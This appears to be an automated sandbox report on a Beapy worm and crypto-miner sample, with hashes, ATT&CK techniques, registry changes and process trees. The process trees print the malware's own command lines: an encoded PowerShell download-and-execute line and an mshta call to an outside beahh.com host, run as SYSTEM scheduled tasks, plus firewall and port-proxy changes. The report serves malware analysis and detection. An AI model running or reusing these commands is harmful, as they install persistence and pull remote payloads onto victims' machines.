beapy | d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6

Analysis

max time kernel
150s
max time network
152s
platform
windows7_x64
resource
win7v20210410
submitted
15-05-2021 14:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
Size

6.6MB
MD5

25369980e676f0d0ec7c800e81542eb7
SHA1

d7872bf7ea33888f20d501990b3000745c9201da
SHA256

d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6
SHA512

07ea34b613f61da1868696e3b070825e6176403f5f33b21cc29f37d7fa28e0509c635048cf7c826bc8ee0815f6b22d1a391b664990c40b867813095796b3f06b

Score

10^/10

beapy evasion miner worm

Malware Config

Signatures

Beapy
Beapy is a python worm with crypto mining capabilities.
miner worm beapy
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Loads dropped DLL 20 IoCs

pid	Process
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	\??\c:\windows\jxXp.exe	cmd.exe
File opened for modification	\??\c:\windows\jxXp.exe	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2244	schtasks.exe
1364	schtasks.exe
2116	schtasks.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1884	netstat.exe
1064	ipconfig.exe
1124	ipconfig.exe

Modifies data under HKEY_USERS 33 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WScript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000e02a4b17ef49d701	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	WScript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WScript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B155BDF8-02F0-451E-9A26-AE317CFD7779} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000060b05417ef49d701	WScript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	cmd.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	cmd.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0"	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1156	WMIC.exe
Token: SeSecurityPrivilege	1156	WMIC.exe
Token: SeTakeOwnershipPrivilege	1156	WMIC.exe
Token: SeLoadDriverPrivilege	1156	WMIC.exe
Token: SeSystemProfilePrivilege	1156	WMIC.exe
Token: SeSystemtimePrivilege	1156	WMIC.exe
Token: SeProfSingleProcessPrivilege	1156	WMIC.exe
Token: SeIncBasePriorityPrivilege	1156	WMIC.exe
Token: SeCreatePagefilePrivilege	1156	WMIC.exe
Token: SeBackupPrivilege	1156	WMIC.exe
Token: SeRestorePrivilege	1156	WMIC.exe
Token: SeShutdownPrivilege	1156	WMIC.exe
Token: SeDebugPrivilege	1156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1156	WMIC.exe
Token: SeRemoteShutdownPrivilege	1156	WMIC.exe
Token: SeUndockPrivilege	1156	WMIC.exe
Token: SeManageVolumePrivilege	1156	WMIC.exe
Token: 33	1156	WMIC.exe
Token: 34	1156	WMIC.exe
Token: 35	1156	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1156	WMIC.exe
Token: SeSecurityPrivilege	1156	WMIC.exe
Token: SeTakeOwnershipPrivilege	1156	WMIC.exe
Token: SeLoadDriverPrivilege	1156	WMIC.exe
Token: SeSystemProfilePrivilege	1156	WMIC.exe
Token: SeSystemtimePrivilege	1156	WMIC.exe
Token: SeProfSingleProcessPrivilege	1156	WMIC.exe
Token: SeIncBasePriorityPrivilege	1156	WMIC.exe
Token: SeCreatePagefilePrivilege	1156	WMIC.exe
Token: SeBackupPrivilege	1156	WMIC.exe
Token: SeRestorePrivilege	1156	WMIC.exe
Token: SeShutdownPrivilege	1156	WMIC.exe
Token: SeDebugPrivilege	1156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1156	WMIC.exe
Token: SeRemoteShutdownPrivilege	1156	WMIC.exe
Token: SeUndockPrivilege	1156	WMIC.exe
Token: SeManageVolumePrivilege	1156	WMIC.exe
Token: 33	1156	WMIC.exe
Token: 34	1156	WMIC.exe
Token: 35	1156	WMIC.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	1884	netstat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 1636	2020	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	27
PID 2020 wrote to memory of 1636	2020	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	27
PID 2020 wrote to memory of 1636	2020	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	27
PID 2020 wrote to memory of 1636	2020	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	27
PID 1636 wrote to memory of 1684	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	31
PID 1636 wrote to memory of 1684	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	31
PID 1636 wrote to memory of 1684	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	31
PID 1636 wrote to memory of 1684	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	31
PID 1684 wrote to memory of 1156	1684	cmd.exe	32
PID 1684 wrote to memory of 1156	1684	cmd.exe	32
PID 1684 wrote to memory of 1156	1684	cmd.exe	32
PID 1684 wrote to memory of 1156	1684	cmd.exe	32
PID 1636 wrote to memory of 1520	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	34
PID 1636 wrote to memory of 1520	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	34
PID 1636 wrote to memory of 1520	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	34
PID 1636 wrote to memory of 1520	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	34
PID 1520 wrote to memory of 1780	1520	cmd.exe	35
PID 1520 wrote to memory of 1780	1520	cmd.exe	35
PID 1520 wrote to memory of 1780	1520	cmd.exe	35
PID 1520 wrote to memory of 1780	1520	cmd.exe	35
PID 1780 wrote to memory of 1340	1780	net.exe	36
PID 1780 wrote to memory of 1340	1780	net.exe	36
PID 1780 wrote to memory of 1340	1780	net.exe	36
PID 1780 wrote to memory of 1340	1780	net.exe	36
PID 1636 wrote to memory of 2032	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	37
PID 1636 wrote to memory of 2032	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	37
PID 1636 wrote to memory of 2032	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	37
PID 1636 wrote to memory of 2032	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	37
PID 2032 wrote to memory of 1796	2032	cmd.exe	38
PID 2032 wrote to memory of 1796	2032	cmd.exe	38
PID 2032 wrote to memory of 1796	2032	cmd.exe	38
PID 2032 wrote to memory of 1796	2032	cmd.exe	38
PID 1796 wrote to memory of 1504	1796	net.exe	39
PID 1796 wrote to memory of 1504	1796	net.exe	39
PID 1796 wrote to memory of 1504	1796	net.exe	39
PID 1796 wrote to memory of 1504	1796	net.exe	39
PID 1636 wrote to memory of 1984	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	40
PID 1636 wrote to memory of 1984	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	40
PID 1636 wrote to memory of 1984	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	40
PID 1636 wrote to memory of 1984	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	40
PID 1636 wrote to memory of 1364	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	41
PID 1636 wrote to memory of 1364	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	41
PID 1636 wrote to memory of 1364	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	41
PID 1636 wrote to memory of 1364	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	41
PID 1364 wrote to memory of 1064	1364	cmd.exe	42
PID 1364 wrote to memory of 1064	1364	cmd.exe	42
PID 1364 wrote to memory of 1064	1364	cmd.exe	42
PID 1364 wrote to memory of 1064	1364	cmd.exe	42
PID 1636 wrote to memory of 1124	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	43
PID 1636 wrote to memory of 1124	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	43
PID 1636 wrote to memory of 1124	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	43
PID 1636 wrote to memory of 1124	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	43
PID 1636 wrote to memory of 1884	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	44
PID 1636 wrote to memory of 1884	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	44
PID 1636 wrote to memory of 1884	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	44
PID 1636 wrote to memory of 1884	1636	d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe	44
PID 1780 wrote to memory of 3068	1780	SqgbroYc.exe	46
PID 1780 wrote to memory of 3068	1780	SqgbroYc.exe	46
PID 1780 wrote to memory of 3068	1780	SqgbroYc.exe	46
PID 1780 wrote to memory of 3068	1780	SqgbroYc.exe	46
PID 3068 wrote to memory of 1732	3068	cmd.exe	48
PID 3068 wrote to memory of 1732	3068	cmd.exe	48
PID 3068 wrote to memory of 1732	3068	cmd.exe	48
PID 3068 wrote to memory of 1732	3068	cmd.exe	48

C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
"C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe
  "C:\Users\Admin\AppData\Local\Temp\d5d659c147e9ef6a75b7312c9d6b2d5c86145d66c25796ecdc0787aa48d32cb6.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c wmic ntdomain get domainname
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ntdomain get domainname
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1156
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1780
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:1340
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c net group "domain admins" /domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2032
  - - C:\Windows\SysWOW64\net.exe
      net group "domain admins" /domain
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1796
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 group "domain admins" /domain
        5⤵
        
        PID:1504
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig /all
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1364
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1064
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1124
- - C:\Windows\SysWOW64\netstat.exe
    netstat -na
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:1884

C:\Windows\SqgbroYc.exe
C:\Windows\SqgbroYc.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\SysWOW64\cmd.exe
  cmd /c call "c:\windows\temp\tmp.vbs"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c echo HDgi >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\jxXp.exe&move /y c:\windows\temp\dig.exe c:\windows\uhuhlE.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn jxXp /tr "C:\Windows\jxXp.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\ThWynjfS" /tr "c:\windows\uhuhlE.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pMRBKYMNO"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\uhuhlE.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\jxXp.exe"&schtasks /run /TN escan)
      4⤵
      Drops file in Windows directory
      PID:2980
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add portopening tcp 65533 DNSd
        5⤵
        Modifies data under HKEY_USERS
        
        PID:1328
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
        5⤵
        Modifies data under HKEY_USERS
        
        PID:2104
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2244
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn jxXp /tr "C:\Windows\jxXp.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1364
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\ThWynjfS" /tr "c:\windows\uhuhlE.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2116

C:\Windows\eGFOxOwp.exe
C:\Windows\eGFOxOwp.exe
1⤵
PID:3028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

T1053

Persistence

Account Manipulation

T1098

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Account Manipulation

T1098

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1636-106-0x0000000000360000-0x0000000000375000-memory.dmp

Filesize
84KB

Download
memory/1636-64-0x0000000076281000-0x0000000076283000-memory.dmp

Filesize
8KB

Download
memory/1636-77-0x0000000000F70000-0x0000000001025000-memory.dmp

Filesize
724KB

Download
memory/1636-86-0x0000000000950000-0x00000000009CC000-memory.dmp

Filesize
496KB

Download
memory/1636-94-0x0000000000290000-0x00000000002A0000-memory.dmp

Filesize
64KB

Download
memory/1636-103-0x0000000000350000-0x0000000000360000-memory.dmp

Filesize
64KB

Download
memory/1984-124-0x000000001B7D0000-0x000000001B7D1000-memory.dmp

Filesize
4KB

Download
memory/1984-121-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

Filesize
8KB

Download
memory/1984-125-0x000000001ABFA000-0x000000001AC19000-memory.dmp

Filesize
124KB

Download
memory/1984-126-0x000000001C280000-0x000000001C281000-memory.dmp

Filesize
4KB

Download
memory/1984-120-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

Filesize
8KB

Download
memory/1984-119-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/1984-118-0x000000001AC70000-0x000000001AC71000-memory.dmp

Filesize
4KB

Download
memory/1984-117-0x0000000002520000-0x0000000002521000-memory.dmp

Filesize
4KB

Download
memory/1984-116-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

Filesize
8KB

Download
memory/1984-122-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download